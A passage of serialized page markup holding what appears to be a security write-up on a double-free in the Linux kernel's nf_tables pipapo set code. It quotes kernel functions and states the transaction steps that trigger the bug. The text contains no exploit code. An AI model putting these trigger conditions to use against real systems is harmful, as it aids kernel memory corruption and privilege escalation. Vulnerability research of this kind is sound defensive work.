",{"type":21,"tag":78,"props":54142,"children":54144},{"className":54143},[],[54145],{"type":26,"value":53302},{"type":26,"value":54147},"'s of a ",{"type":21,"tag":78,"props":54149,"children":54151},{"className":54150},[],[54152],{"type":26,"value":53310},{"type":26,"value":54154},". The difference between the ",{"type":21,"tag":78,"props":54156,"children":54158},{"className":54157},[],[54159],{"type":26,"value":53287},{"type":26,"value":52},{"type":21,"tag":78,"props":54162,"children":54164},{"className":54163},[],[54165],{"type":26,"value":53271},{"type":26,"value":54167}," match objects is that the clone has a view of not only already committed ",{"type":21,"tag":78,"props":54169,"children":54171},{"className":54170},[],[54172],{"type":26,"value":53302},{"type":26,"value":54174},"'s that the \"normal\" one has but also a view of the ",{"type":21,"tag":78,"props":54176,"children":54178},{"className":54177},[],[54179],{"type":26,"value":53302},{"type":26,"value":54181},"'s that was still not committed that only exists in the current control-plane. In other words, the control plane makes changes to the clone, and if the commit path is reached, the changes are committed to ",{"type":21,"tag":78,"props":54183,"children":54185},{"className":54184},[],[54186],{"type":26,"value":53287},{"type":26,"value":355},{"type":21,"tag":114,"props":54189,"children":54191},{"id":54190},"root-cause-analysis",[54192],{"type":26,"value":54193},"Root-cause analysis",{"type":21,"tag":22,"props":54195,"children":54196},{},[54197,54199,54205,54207,54212],{"type":26,"value":54198},"So ",{"type":21,"tag":78,"props":54200,"children":54202},{"className":54201},[],[54203],{"type":26,"value":54204},"nf_tables_set_elem_destroy",{"type":26,"value":54206}," being called for both match objects seems like a pretty straightforward double-free of the ",{"type":21,"tag":78,"props":54208,"children":54210},{"className":54209},[],[54211],{"type":26,"value":53302},{"type":26,"value":54213},"s that had already been committed since those will have duplicated views. At first glance, this is some bizarre-looking code. How did this bug come to be? How was it not detected before? Let's try to get to the bottom of it.",{"type":21,"tag":22,"props":54215,"children":54216},{},[54217,54219,54224,54226,54231,54233,54238,54240,54245,54247,54252],{"type":26,"value":54218},"We should now try to understand how to reach that path with the ",{"type":21,"tag":78,"props":54220,"children":54222},{"className":54221},[],[54223],{"type":26,"value":53264},{"type":26,"value":54225}," flag set, which is a member of the private data of a pipapo ",{"type":21,"tag":78,"props":54227,"children":54229},{"className":54228},[],[54230],{"type":26,"value":53302},{"type":26,"value":54232}," that becomes true whenever a change is made to the ",{"type":21,"tag":78,"props":54234,"children":54236},{"className":54235},[],[54237],{"type":26,"value":53310},{"type":26,"value":54239}," during the control-plane pass of a transaction. This is to tell the commit path that this ",{"type":21,"tag":78,"props":54241,"children":54243},{"className":54242},[],[54244],{"type":26,"value":53310},{"type":26,"value":54246}," has changes that have to be committed. If we refer to the code, we see that we can make the ",{"type":21,"tag":78,"props":54248,"children":54250},{"className":54249},[],[54251],{"type":26,"value":53310},{"type":26,"value":54253}," dirty by inserting a new element.",{"type":21,"tag":143,"props":54255,"children":54257},{"className":19212,"code":54256,"language":5896,"meta":7,"style":7},"static int nft_pipapo_insert(const struct net *net, const struct nft_set *set,\n        const struct nft_set_elem *elem,\n        struct nft_elem_priv **elem_priv)\n{\n[...]\n priv->dirty = true;\n[...]\n}\n",[54258],{"type":21,"tag":78,"props":54259,"children":54260},{"__ignoreMap":7},[54261,54331,54360,54385,54392,54399,54428,54435],{"type":21,"tag":153,"props":54262,"children":54263},{"class":155,"line":156},[54264,54268,54272,54277,54281,54285,54289,54294,54298,54303,54307,54311,54315,54319,54323,54327],{"type":21,"tag":153,"props":54265,"children":54266},{"style":170},[54267],{"type":26,"value":53335},{"type":21,"tag":153,"props":54269,"children":54270},{"style":170},[54271],{"type":26,"value":53464},{"type":21,"tag":153,"props":54273,"children":54274},{"style":181},[54275],{"type":26,"value":54276}," nft_pipapo_insert",{"type":21,"tag":153,"props":54278,"children":54279},{"style":160},[54280],{"type":26,"value":189},{"type":21,"tag":153,"props":54282,"children":54283},{"style":170},[54284],{"type":26,"value":5085},{"type":21,"tag":153,"props":54286,"children":54287},{"style":170},[54288],{"type":26,"value":23844},{"type":21,"tag":153,"props":54290,"children":54291},{"style":160},[54292],{"type":26,"value":54293}," net ",{"type":21,"tag":153,"props":54295,"children":54296},{"style":198},[54297],{"type":26,"value":313},{"type":21,"tag":153,"props":54299,"children":54300},{"style":192},[54301],{"type":26,"value":54302},"net",{"type":21,"tag":153,"props":54304,"children":54305},{"style":160},[54306],{"type":26,"value":1670},{"type":21,"tag":153,"props":54308,"children":54309},{"style":170},[54310],{"type":26,"value":5085},{"type":21,"tag":153,"props":54312,"children":54313},{"style":170},[54314],{"type":26,"value":23844},{"type":21,"tag":153,"props":54316,"children":54317},{"style":160},[54318],{"type":26,"value":53390},{"type":21,"tag":153,"props":54320,"children":54321},{"style":198},[54322],{"type":26,"value":313},{"type":21,"tag":153,"props":54324,"children":54325},{"style":192},[54326],{"type":26,"value":53310},{"type":21,"tag":153,"props":54328,"children":54329},{"style":160},[54330],{"type":26,"value":792},{"type":21,"tag":153,"props":54332,"children":54333},{"class":155,"line":166},[54334,54338,54342,54347,54351,54356],{"type":21,"tag":153,"props":54335,"children":54336},{"style":170},[54337],{"type":26,"value":35595},{"type":21,"tag":153,"props":54339,"children":54340},{"style":170},[54341],{"type":26,"value":23844},{"type":21,"tag":153,"props":54343,"children":54344},{"style":160},[54345],{"type":26,"value":54346}," nft_set_elem ",{"type":21,"tag":153,"props":54348,"children":54349},{"style":198},[54350],{"type":26,"value":313},{"type":21,"tag":153,"props":54352,"children":54353},{"style":192},[54354],{"type":26,"value":54355},"elem",{"type":21,"tag":153,"props":54357,"children":54358},{"style":160},[54359],{"type":26,"value":792},{"type":21,"tag":153,"props":54361,"children":54362},{"class":155,"line":225},[54363,54368,54372,54377,54381],{"type":21,"tag":153,"props":54364,"children":54365},{"style":170},[54366],{"type":26,"value":54367},"        struct",{"type":21,"tag":153,"props":54369,"children":54370},{"style":160},[54371],{"type":26,"value":53995},{"type":21,"tag":153,"props":54373,"children":54374},{"style":198},[54375],{"type":26,"value":54376},"**",{"type":21,"tag":153,"props":54378,"children":54379},{"style":192},[54380],{"type":26,"value":54004},{"type":21,"tag":153,"props":54382,"children":54383},{"style":160},[54384],{"type":26,"value":5909},{"type":21,"tag":153,"props":54386,"children":54387},{"class":155,"line":239},[54388],{"type":21,"tag":153,"props":54389,"children":54390},{"style":160},[54391],{"type":26,"value":13601},{"type":21,"tag":153,"props":54393,"children":54394},{"class":155,"line":382},[54395],{"type":21,"tag":153,"props":54396,"children":54397},{"style":160},[54398],{"type":26,"value":13038},{"type":21,"tag":153,"props":54400,"children":54401},{"class":155,"line":501},[54402,54407,54411,54416,54420,54424],{"type":21,"tag":153,"props":54403,"children":54404},{"style":192},[54405],{"type":26,"value":54406}," priv",{"type":21,"tag":153,"props":54408,"children":54409},{"style":160},[54410],{"type":26,"value":2953},{"type":21,"tag":153,"props":54412,"children":54413},{"style":192},[54414],{"type":26,"value":54415},"dirty",{"type":21,"tag":153,"props":54417,"children":54418},{"style":198},[54419],{"type":26,"value":255},{"type":21,"tag":153,"props":54421,"children":54422},{"style":170},[54423],{"type":26,"value":15187},{"type":21,"tag":153,"props":54425,"children":54426},{"style":160},[54427],{"type":26,"value":1759},{"type":21,"tag":153,"props":54429,"children":54430},{"class":155,"line":533},[54431],{"type":21,"tag":153,"props":54432,"children":54433},{"style":160},[54434],{"type":26,"value":13038},{"type":21,"tag":153,"props":54436,"children":54437},{"class":155,"line":542},[54438],{"type":21,"tag":153,"props":54439,"children":54440},{"style":160},[54441],{"type":26,"value":548},{"type":21,"tag":22,"props":54443,"children":54444},{},[54445],{"type":26,"value":54446},"We also see that when the changes are commited, this flag is then unset.",{"type":21,"tag":143,"props":54448,"children":54450},{"className":19212,"code":54449,"language":5896,"meta":7,"style":7},"static void nft_pipapo_commit(struct nft_set *set)\n{\n[...]\n if (!priv->dirty)\n  return;\n[...]\n priv->dirty = false;\n[...]\n}\n",[54451],{"type":21,"tag":78,"props":54452,"children":54453},{"__ignoreMap":7},[54454,54494,54501,54508,54539,54550,54557,54584,54591],{"type":21,"tag":153,"props":54455,"children":54456},{"class":155,"line":156},[54457,54461,54465,54470,54474,54478,54482,54486,54490],{"type":21,"tag":153,"props":54458,"children":54459},{"style":170},[54460],{"type":26,"value":53335},{"type":21,"tag":153,"props":54462,"children":54463},{"style":170},[54464],{"type":26,"value":53340},{"type":21,"tag":153,"props":54466,"children":54467},{"style":181},[54468],{"type":26,"value":54469}," nft_pipapo_commit",{"type":21,"tag":153,"props":54471,"children":54472},{"style":160},[54473],{"type":26,"value":189},{"type":21,"tag":153,"props":54475,"children":54476},{"style":170},[54477],{"type":26,"value":12123},{"type":21,"tag":153,"props":54479,"children":54480},{"style":160},[54481],{"type":26,"value":53390},{"type":21,"tag":153,"props":54483,"children":54484},{"style":198},[54485],{"type":26,"value":313},{"type":21,"tag":153,"props":54487,"children":54488},{"style":192},[54489],{"type":26,"value":53310},{"type":21,"tag":153,"props":54491,"children":54492},{"style":160},[54493],{"type":26,"value":5909},{"type":21,"tag":153,"props":54495,"children":54496},{"class":155,"line":166},[54497],{"type":21,"tag":153,"props":54498,"children":54499},{"style":160},[54500],{"type":26,"value":13601},{"type":21,"tag":153,"props":54502,"children":54503},{"class":155,"line":225},[54504],{"type":21,"tag":153,"props":54505,"children":54506},{"style":160},[54507],{"type":26,"value":13038},{"type":21,"tag":153,"props":54509,"children":54510},{"class":155,"line":239},[54511,54515,54519,54523,54527,54531,54535],{"type":21,"tag":153,"props":54512,"children":54513},{"style":1751},[54514],{"type":26,"value":18485},{"type":21,"tag":153,"props":54516,"children":54517},{"style":160},[54518],{"type":26,"value":5820},{"type":21,"tag":153,"props":54520,"children":54521},{"style":198},[54522],{"type":26,"value":23315},{"type":21,"tag":153,"props":54524,"children":54525},{"style":192},[54526],{"type":26,"value":53866},{"type":21,"tag":153,"props":54528,"children":54529},{"style":160},[54530],{"type":26,"value":2953},{"type":21,"tag":153,"props":54532,"children":54533},{"style":192},[54534],{"type":26,"value":54415},{"type":21,"tag":153,"props":54536,"children":54537},{"style":160},[54538],{"type":26,"value":5909},{"type":21,"tag":153,"props":54540,"children":54541},{"class":155,"line":382},[54542,54546],{"type":21,"tag":153,"props":54543,"children":54544},{"style":1751},[54545],{"type":26,"value":41890},{"type":21,"tag":153,"props":54547,"children":54548},{"style":160},[54549],{"type":26,"value":1759},{"type":21,"tag":153,"props":54551,"children":54552},{"class":155,"line":501},[54553],{"type":21,"tag":153,"props":54554,"children":54555},{"style":160},[54556],{"type":26,"value":13038},{"type":21,"tag":153,"props":54558,"children":54559},{"class":155,"line":533},[54560,54564,54568,54572,54576,54580],{"type":21,"tag":153,"props":54561,"children":54562},{"style":192},[54563],{"type":26,"value":54406},{"type":21,"tag":153,"props":54565,"children":54566},{"style":160},[54567],{"type":26,"value":2953},{"type":21,"tag":153,"props":54569,"children":54570},{"style":192},[54571],{"type":26,"value":54415},{"type":21,"tag":153,"props":54573,"children":54574},{"style":198},[54575],{"type":26,"value":255},{"type":21,"tag":153,"props":54577,"children":54578},{"style":170},[54579],{"type":26,"value":11782},{"type":21,"tag":153,"props":54581,"children":54582},{"style":160},[54583],{"type":26,"value":1759},{"type":21,"tag":153,"props":54585,"children":54586},{"class":155,"line":542},[54587],{"type":21,"tag":153,"props":54588,"children":54589},{"style":160},[54590],{"type":26,"value":13038},{"type":21,"tag":153,"props":54592,"children":54593},{"class":155,"line":762},[54594],{"type":21,"tag":153,"props":54595,"children":54596},{"style":160},[54597],{"type":26,"value":548},{"type":21,"tag":22,"props":54599,"children":54600},{},[54601,54603,54608,54610,54615,54617,54622,54624,54629,54631,54637,54639,54645,54647,54652],{"type":26,"value":54602},"We can conclude that as long as we can, in the same transaction, insert a ",{"type":21,"tag":78,"props":54604,"children":54606},{"className":54605},[],[54607],{"type":26,"value":53302},{"type":26,"value":54609}," in the ",{"type":21,"tag":78,"props":54611,"children":54613},{"className":54612},[],[54614],{"type":26,"value":53310},{"type":26,"value":54616}," to make it dirty and then delete the ",{"type":21,"tag":78,"props":54618,"children":54620},{"className":54619},[],[54621],{"type":26,"value":53310},{"type":26,"value":54623},", we will be able to trigger the double-free. But there is another condition: in the commit path, if a ",{"type":21,"tag":78,"props":54625,"children":54627},{"className":54626},[],[54628],{"type":26,"value":53310},{"type":26,"value":54630},"'s ",{"type":21,"tag":78,"props":54632,"children":54634},{"className":54633},[],[54635],{"type":26,"value":54636},"->commit()",{"type":26,"value":54638}," method is executed before its ",{"type":21,"tag":78,"props":54640,"children":54642},{"className":54641},[],[54643],{"type":26,"value":54644},"->destroy()",{"type":26,"value":54646}," method, then the ",{"type":21,"tag":78,"props":54648,"children":54650},{"className":54649},[],[54651],{"type":26,"value":54415},{"type":26,"value":54653}," flag will be unset, and we won't be able to trigger the double-free.",{"type":21,"tag":22,"props":54655,"children":54656},{},[54657],{"type":26,"value":54658},"Let's once again refer to the code and see how these methods are called.",{"type":21,"tag":143,"props":54660,"children":54662},{"className":19212,"code":54661,"language":5896,"meta":7,"style":7},"static int nf_tables_commit(struct net *net, struct sk_buff *skb)\n{\n[...]\n  case NFT_MSG_DELSET:\n  case NFT_MSG_DESTROYSET: // [1]\n   nft_trans_set(trans)->dead = 1; // [2]\n   list_del_rcu(&nft_trans_set(trans)->list);\n   nf_tables_set_notify(&trans->ctx, nft_trans_set(trans),\n          trans->msg_type, GFP_KERNEL);\n   break;\n  case NFT_MSG_NEWSETELEM: // [3]\n[...]\n   if (te->set->ops->commit &&\n       list_empty(&te->set->pending_update)) {\n    list_add_tail(&te->set->pending_update,\n           &set_update_list);\n   }\n[...]\n }\n\n nft_set_commit_update(&set_update_list);\n[...]\n nf_tables_commit_release(net);\n\n return 0;\n}\n",[54663],{"type":21,"tag":78,"props":54664,"children":54665},{"__ignoreMap":7},[54666,54728,54735,54742,54750,54763,54798,54832,54874,54896,54908,54921,54928,54976,55017,55057,55070,55077,55084,55091,55098,55123,55130,55143,55150,55166],{"type":21,"tag":153,"props":54667,"children":54668},{"class":155,"line":156},[54669,54673,54677,54682,54686,54690,54694,54698,54702,54706,54710,54715,54719,54724],{"type":21,"tag":153,"props":54670,"children":54671},{"style":170},[54672],{"type":26,"value":53335},{"type":21,"tag":153,"props":54674,"children":54675},{"style":170},[54676],{"type":26,"value":53464},{"type":21,"tag":153,"props":54678,"children":54679},{"style":181},[54680],{"type":26,"value":54681}," nf_tables_commit",{"type":21,"tag":153,"props":54683,"children":54684},{"style":160},[54685],{"type":26,"value":189},{"type":21,"tag":153,"props":54687,"children":54688},{"style":170},[54689],{"type":26,"value":12123},{"type":21,"tag":153,"props":54691,"children":54692},{"style":160},[54693],{"type":26,"value":54293},{"type":21,"tag":153,"props":54695,"children":54696},{"style":198},[54697],{"type":26,"value":313},{"type":21,"tag":153,"props":54699,"children":54700},{"style":192},[54701],{"type":26,"value":54302},{"type":21,"tag":153,"props":54703,"children":54704},{"style":160},[54705],{"type":26,"value":1670},{"type":21,"tag":153,"props":54707,"children":54708},{"style":170},[54709],{"type":26,"value":12123},{"type":21,"tag":153,"props":54711,"children":54712},{"style":160},[54713],{"type":26,"value":54714}," sk_buff ",{"type":21,"tag":153,"props":54716,"children":54717},{"style":198},[54718],{"type":26,"value":313},{"type":21,"tag":153,"props":54720,"children":54721},{"style":192},[54722],{"type":26,"value":54723},"skb",{"type":21,"tag":153,"props":54725,"children":54726},{"style":160},[54727],{"type":26,"value":5909},{"type":21,"tag":153,"props":54729,"children":54730},{"class":155,"line":166},[54731],{"type":21,"tag":153,"props":54732,"children":54733},{"style":160},[54734],{"type":26,"value":13601},{"type":21,"tag":153,"props":54736,"children":54737},{"class":155,"line":225},[54738],{"type":21,"tag":153,"props":54739,"children":54740},{"style":160},[54741],{"type":26,"value":13038},{"type":21,"tag":153,"props":54743,"children":54744},{"class":155,"line":239},[54745],{"type":21,"tag":153,"props":54746,"children":54747},{"style":160},[54748],{"type":26,"value":54749},"  case NFT_MSG_DELSET:\n",{"type":21,"tag":153,"props":54751,"children":54752},{"class":155,"line":382},[54753,54758],{"type":21,"tag":153,"props":54754,"children":54755},{"style":160},[54756],{"type":26,"value":54757},"  case NFT_MSG_DESTROYSET:",{"type":21,"tag":153,"props":54759,"children":54760},{"style":3050},[54761],{"type":26,"value":54762}," // [1]\n",{"type":21,"tag":153,"props":54764,"children":54765},{"class":155,"line":501},[54766,54771,54776,54781,54785,54789,54793],{"type":21,"tag":153,"props":54767,"children":54768},{"style":181},[54769],{"type":26,"value":54770},"   nft_trans_set",{"type":21,"tag":153,"props":54772,"children":54773},{"style":160},[54774],{"type":26,"value":54775},"(trans)->",{"type":21,"tag":153,"props":54777,"children":54778},{"style":192},[54779],{"type":26,"value":54780},"dead",{"type":21,"tag":153,"props":54782,"children":54783},{"style":198},[54784],{"type":26,"value":255},{"type":21,"tag":153,"props":54786,"children":54787},{"style":300},[54788],{"type":26,"value":7253},{"type":21,"tag":153,"props":54790,"children":54791},{"style":160},[54792],{"type":26,"value":51364},{"type":21,"tag":153,"props":54794,"children":54795},{"style":3050},[54796],{"type":26,"value":54797}," // [2]\n",{"type":21,"tag":153,"props":54799,"children":54800},{"class":155,"line":533},[54801,54806,54810,54814,54819,54823,54828],{"type":21,"tag":153,"props":54802,"children":54803},{"style":181},[54804],{"type":26,"value":54805},"   list_del_rcu",{"type":21,"tag":153,"props":54807,"children":54808},{"style":160},[54809],{"type":26,"value":189},{"type":21,"tag":153,"props":54811,"children":54812},{"style":198},[54813],{"type":26,"value":1974},{"type":21,"tag":153,"props":54815,"children":54816},{"style":181},[54817],{"type":26,"value":54818},"nft_trans_set",{"type":21,"tag":153,"props":54820,"children":54821},{"style":160},[54822],{"type":26,"value":54775},{"type":21,"tag":153,"props":54824,"children":54825},{"style":192},[54826],{"type":26,"value":54827},"list",{"type":21,"tag":153,"props":54829,"children":54830},{"style":160},[54831],{"type":26,"value":530},{"type":21,"tag":153,"props":54833,"children":54834},{"class":155,"line":542},[54835,54840,54844,54848,54853,54857,54861,54865,54869],{"type":21,"tag":153,"props":54836,"children":54837},{"style":181},[54838],{"type":26,"value":54839},"   nf_tables_set_notify",{"type":21,"tag":153,"props":54841,"children":54842},{"style":160},[54843],{"type":26,"value":189},{"type":21,"tag":153,"props":54845,"children":54846},{"style":198},[54847],{"type":26,"value":1974},{"type":21,"tag":153,"props":54849,"children":54850},{"style":192},[54851],{"type":26,"value":54852},"trans",{"type":21,"tag":153,"props":54854,"children":54855},{"style":160},[54856],{"type":26,"value":2953},{"type":21,"tag":153,"props":54858,"children":54859},{"style":192},[54860],{"type":26,"value":1882},{"type":21,"tag":153,"props":54862,"children":54863},{"style":160},[54864],{"type":26,"value":1670},{"type":21,"tag":153,"props":54866,"children":54867},{"style":181},[54868],{"type":26,"value":54818},{"type":21,"tag":153,"props":54870,"children":54871},{"style":160},[54872],{"type":26,"value":54873},"(trans),\n",{"type":21,"tag":153,"props":54875,"children":54876},{"class":155,"line":762},[54877,54882,54886,54891],{"type":21,"tag":153,"props":54878,"children":54879},{"style":192},[54880],{"type":26,"value":54881},"          trans",{"type":21,"tag":153,"props":54883,"children":54884},{"style":160},[54885],{"type":26,"value":2953},{"type":21,"tag":153,"props":54887,"children":54888},{"style":192},[54889],{"type":26,"value":54890},"msg_type",{"type":21,"tag":153,"props":54892,"children":54893},{"style":160},[54894],{"type":26,"value":54895},", GFP_KERNEL);\n",{"type":21,"tag":153,"props":54897,"children":54898},{"class":155,"line":776},[54899,54904],{"type":21,"tag":153,"props":54900,"children":54901},{"style":1751},[54902],{"type":26,"value":54903},"   break",{"type":21,"tag":153,"props":54905,"children":54906},{"style":160},[54907],{"type":26,"value":1759},{"type":21,"tag":153,"props":54909,"children":54910},{"class":155,"line":795},[54911,54916],{"type":21,"tag":153,"props":54912,"children":54913},{"style":160},[54914],{"type":26,"value":54915},"  case NFT_MSG_NEWSETELEM:",{"type":21,"tag":153,"props":54917,"children":54918},{"style":3050},[54919],{"type":26,"value":54920}," // [3]\n",{"type":21,"tag":153,"props":54922,"children":54923},{"class":155,"line":808},[54924],{"type":21,"tag":153,"props":54925,"children":54926},{"style":160},[54927],{"type":26,"value":13038},{"type":21,"tag":153,"props":54929,"children":54930},{"class":155,"line":820},[54931,54936,54940,54945,54949,54953,54957,54962,54966,54971],{"type":21,"tag":153,"props":54932,"children":54933},{"style":1751},[54934],{"type":26,"value":54935},"   if",{"type":21,"tag":153,"props":54937,"children":54938},{"style":160},[54939],{"type":26,"value":5820},{"type":21,"tag":153,"props":54941,"children":54942},{"style":192},[54943],{"type":26,"value":54944},"te",{"type":21,"tag":153,"props":54946,"children":54947},{"style":160},[54948],{"type":26,"value":2953},{"type":21,"tag":153,"props":54950,"children":54951},{"style":192},[54952],{"type":26,"value":53310},{"type":21,"tag":153,"props":54954,"children":54955},{"style":160},[54956],{"type":26,"value":2953},{"type":21,"tag":153,"props":54958,"children":54959},{"style":192},[54960],{"type":26,"value":54961},"ops",{"type":21,"tag":153,"props":54963,"children":54964},{"style":160},[54965],{"type":26,"value":2953},{"type":21,"tag":153,"props":54967,"children":54968},{"style":192},[54969],{"type":26,"value":54970},"commit",{"type":21,"tag":153,"props":54972,"children":54973},{"style":198},[54974],{"type":26,"value":54975}," &&\n",{"type":21,"tag":153,"props":54977,"children":54978},{"class":155,"line":842},[54979,54984,54988,54992,54996,55000,55004,55008,55013],{"type":21,"tag":153,"props":54980,"children":54981},{"style":181},[54982],{"type":26,"value":54983},"       list_empty",{"type":21,"tag":153,"props":54985,"children":54986},{"style":160},[54987],{"type":26,"value":189},{"type":21,"tag":153,"props":54989,"children":54990},{"style":198},[54991],{"type":26,"value":1974},{"type":21,"tag":153,"props":54993,"children":54994},{"style":192},[54995],{"type":26,"value":54944},{"type":21,"tag":153,"props":54997,"children":54998},{"style":160},[54999],{"type":26,"value":2953},{"type":21,"tag":153,"props":55001,"children":55002},{"style":192},[55003],{"type":26,"value":53310},{"type":21,"tag":153,"props":55005,"children":55006},{"style":160},[55007],{"type":26,"value":2953},{"type":21,"tag":153,"props":55009,"children":55010},{"style":192},[55011],{"type":26,"value":55012},"pending_update",{"type":21,"tag":153,"props":55014,"children":55015},{"style":160},[55016],{"type":26,"value":37887},{"type":21,"tag":153,"props":55018,"children":55019},{"class":155,"line":3204},[55020,55025,55029,55033,55037,55041,55045,55049,55053],{"type":21,"tag":153,"props":55021,"children":55022},{"style":181},[55023],{"type":26,"value":55024},"    list_add_tail",{"type":21,"tag":153,"props":55026,"children":55027},{"style":160},[55028],{"type":26,"value":189},{"type":21,"tag":153,"props":55030,"children":55031},{"style":198},[55032],{"type":26,"value":1974},{"type":21,"tag":153,"props":55034,"children":55035},{"style":192},[55036],{"type":26,"value":54944},{"type":21,"tag":153,"props":55038,"children":55039},{"style":160},[55040],{"type":26,"value":2953},{"type":21,"tag":153,"props":55042,"children":55043},{"style":192},[55044],{"type":26,"value":53310},{"type":21,"tag":153,"props":55046,"children":55047},{"style":160},[55048],{"type":26,"value":2953},{"type":21,"tag":153,"props":55050,"children":55051},{"style":192},[55052],{"type":26,"value":55012},{"type":21,"tag":153,"props":55054,"children":55055},{"style":160},[55056],{"type":26,"value":792},{"type":21,"tag":153,"props":55058,"children":55059},{"class":155,"line":3230},[55060,55065],{"type":21,"tag":153,"props":55061,"children":55062},{"style":198},[55063],{"type":26,"value":55064},"           &",{"type":21,"tag":153,"props":55066,"children":55067},{"style":160},[55068],{"type":26,"value":55069},"set_update_list);\n",{"type":21,"tag":153,"props":55071,"children":55072},{"class":155,"line":3239},[55073],{"type":21,"tag":153,"props":55074,"children":55075},{"style":160},[55076],{"type":26,"value":37442},{"type":21,"tag":153,"props":55078,"children":55079},{"class":155,"line":3253},[55080],{"type":21,"tag":153,"props":55081,"children":55082},{"style":160},[55083],{"type":26,"value":13038},{"type":21,"tag":153,"props":55085,"children":55086},{"class":155,"line":3301},[55087],{"type":21,"tag":153,"props":55088,"children":55089},{"style":160},[55090],{"type":26,"value":12318},{"type":21,"tag":153,"props":55092,"children":55093},{"class":155,"line":3346},[55094],{"type":21,"tag":153,"props":55095,"children":55096},{"emptyLinePlaceholder":16},[55097],{"type":26,"value":759},{"type":21,"tag":153,"props":55099,"children":55100},{"class":155,"line":3355},[55101,55106,55110,55114,55119],{"type":21,"tag":153,"props":55102,"children":55103},{"style":181},[55104],{"type":26,"value":55105}," nft_set_commit_update",{"type":21,"tag":153,"props":55107,"children":55108},{"style":160},[55109],{"type":26,"value":189},{"type":21,"tag":153,"props":55111,"children":55112},{"style":198},[55113],{"type":26,"value":1974},{"type":21,"tag":153,"props":55115,"children":55116},{"style":192},[55117],{"type":26,"value":55118},"set_update_list",{"type":21,"tag":153,"props":55120,"children":55121},{"style":160},[55122],{"type":26,"value":530},{"type":21,"tag":153,"props":55124,"children":55125},{"class":155,"line":3364},[55126],{"type":21,"tag":153,"props":55127,"children":55128},{"style":160},[55129],{"type":26,"value":13038},{"type":21,"tag":153,"props":55131,"children":55132},{"class":155,"line":3376},[55133,55138],{"type":21,"tag":153,"props":55134,"children":55135},{"style":181},[55136],{"type":26,"value":55137}," nf_tables_commit_release",{"type":21,"tag":153,"props":55139,"children":55140},{"style":160},[55141],{"type":26,"value":55142},"(net);\n",{"type":21,"tag":153,"props":55144,"children":55145},{"class":155,"line":3393},[55146],{"type":21,"tag":153,"props":55147,"children":55148},{"emptyLinePlaceholder":16},[55149],{"type":26,"value":759},{"type":21,"tag":153,"props":55151,"children":55152},{"class":155,"line":3405},[55153,55158,55162],{"type":21,"tag":153,"props":55154,"children":55155},{"style":1751},[55156],{"type":26,"value":55157}," return",{"type":21,"tag":153,"props":55159,"children":55160},{"style":300},[55161],{"type":26,"value":5799},{"type":21,"tag":153,"props":55163,"children":55164},{"style":160},[55165],{"type":26,"value":1759},{"type":21,"tag":153,"props":55167,"children":55168},{"class":155,"line":3427},[55169],{"type":21,"tag":153,"props":55170,"children":55171},{"style":160},[55172],{"type":26,"value":548},{"type":21,"tag":22,"props":55174,"children":55175},{},[55176,55177,55183,55185,55190],{"type":26,"value":19311},{"type":21,"tag":78,"props":55178,"children":55180},{"className":55179},[],[55181],{"type":26,"value":55182},"nft_set_commit_update()",{"type":26,"value":55184}," function in the code above will call the ",{"type":21,"tag":78,"props":55186,"children":55188},{"className":55187},[],[55189],{"type":26,"value":54636},{"type":26,"value":55191}," method for any objects that were marked as pending an update.",{"type":21,"tag":143,"props":55193,"children":55195},{"className":19212,"code":55194,"language":5896,"meta":7,"style":7},"static void nft_set_commit_update(struct list_head *set_update_list)\n{\n struct nft_set *set, *next;\n\n list_for_each_entry_safe(set, next, set_update_list, pending_update) {\n  list_del_init(&set->pending_update);\n\n  if (!set->ops->commit || set->dead) // [4]\n   continue;\n\n  set->ops->commit(set); // [5]\n }\n}\n",[55196],{"type":21,"tag":78,"props":55197,"children":55198},{"__ignoreMap":7},[55199,55239,55246,55275,55282,55295,55327,55334,55395,55406,55413,55447,55454],{"type":21,"tag":153,"props":55200,"children":55201},{"class":155,"line":156},[55202,55206,55210,55214,55218,55222,55227,55231,55235],{"type":21,"tag":153,"props":55203,"children":55204},{"style":170},[55205],{"type":26,"value":53335},{"type":21,"tag":153,"props":55207,"children":55208},{"style":170},[55209],{"type":26,"value":53340},{"type":21,"tag":153,"props":55211,"children":55212},{"style":181},[55213],{"type":26,"value":55105},{"type":21,"tag":153,"props":55215,"children":55216},{"style":160},[55217],{"type":26,"value":189},{"type":21,"tag":153,"props":55219,"children":55220},{"style":170},[55221],{"type":26,"value":12123},{"type":21,"tag":153,"props":55223,"children":55224},{"style":160},[55225],{"type":26,"value":55226}," list_head ",{"type":21,"tag":153,"props":55228,"children":55229},{"style":198},[55230],{"type":26,"value":313},{"type":21,"tag":153,"props":55232,"children":55233},{"style":192},[55234],{"type":26,"value":55118},{"type":21,"tag":153,"props":55236,"children":55237},{"style":160},[55238],{"type":26,"value":5909},{"type":21,"tag":153,"props":55240,"children":55241},{"class":155,"line":166},[55242],{"type":21,"tag":153,"props":55243,"children":55244},{"style":160},[55245],{"type":26,"value":13601},{"type":21,"tag":153,"props":55247,"children":55248},{"class":155,"line":225},[55249,55253,55257,55261,55266,55270],{"type":21,"tag":153,"props":55250,"children":55251},{"style":170},[55252],{"type":26,"value":23844},{"type":21,"tag":153,"props":55254,"children":55255},{"style":160},[55256],{"type":26,"value":53390},{"type":21,"tag":153,"props":55258,"children":55259},{"style":198},[55260],{"type":26,"value":313},{"type":21,"tag":153,"props":55262,"children":55263},{"style":160},[55264],{"type":26,"value":55265},"set, ",{"type":21,"tag":153,"props":55267,"children":55268},{"style":198},[55269],{"type":26,"value":313},{"type":21,"tag":153,"props":55271,"children":55272},{"style":160},[55273],{"type":26,"value":55274},"next;\n",{"type":21,"tag":153,"props":55276,"children":55277},{"class":155,"line":239},[55278],{"type":21,"tag":153,"props":55279,"children":55280},{"emptyLinePlaceholder":16},[55281],{"type":26,"value":759},{"type":21,"tag":153,"props":55283,"children":55284},{"class":155,"line":382},[55285,55290],{"type":21,"tag":153,"props":55286,"children":55287},{"style":181},[55288],{"type":26,"value":55289}," list_for_each_entry_safe",{"type":21,"tag":153,"props":55291,"children":55292},{"style":160},[55293],{"type":26,"value":55294},"(set, next, set_update_list, pending_update) {\n",{"type":21,"tag":153,"props":55296,"children":55297},{"class":155,"line":501},[55298,55303,55307,55311,55315,55319,55323],{"type":21,"tag":153,"props":55299,"children":55300},{"style":181},[55301],{"type":26,"value":55302},"  